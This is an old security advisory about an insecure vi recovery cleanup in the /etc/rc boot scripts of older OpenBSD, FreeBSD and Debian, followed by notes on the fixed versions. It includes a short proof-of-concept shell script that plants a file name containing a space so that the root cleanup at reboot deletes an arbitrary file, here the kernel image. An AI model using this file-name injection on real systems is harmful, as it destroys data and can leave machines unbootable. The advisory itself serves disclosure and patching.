COMMAND
vi
SYSTEMS AFFECTED
OpenBSD, FreeBSD, Debian
PROBLEM
Loneguard found following. Looks like someone noticed this at
some point in OpenBSD. It works on older OpenBSD, FreeBSD and
Debian (others?).
#!/bin/sh
#
# vibackup.sh - Loneguard 22/05/99
# Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
# of files
#
touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
echo Now wait for ( or cause ) a reboot...
SOLUTION
OpenBSD 2.6 does not have this problem as its vi.recover script
is written in perl and can handle files with spaces in them
sanely.
This has been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and
4.0-CURRENT (04.01.2000).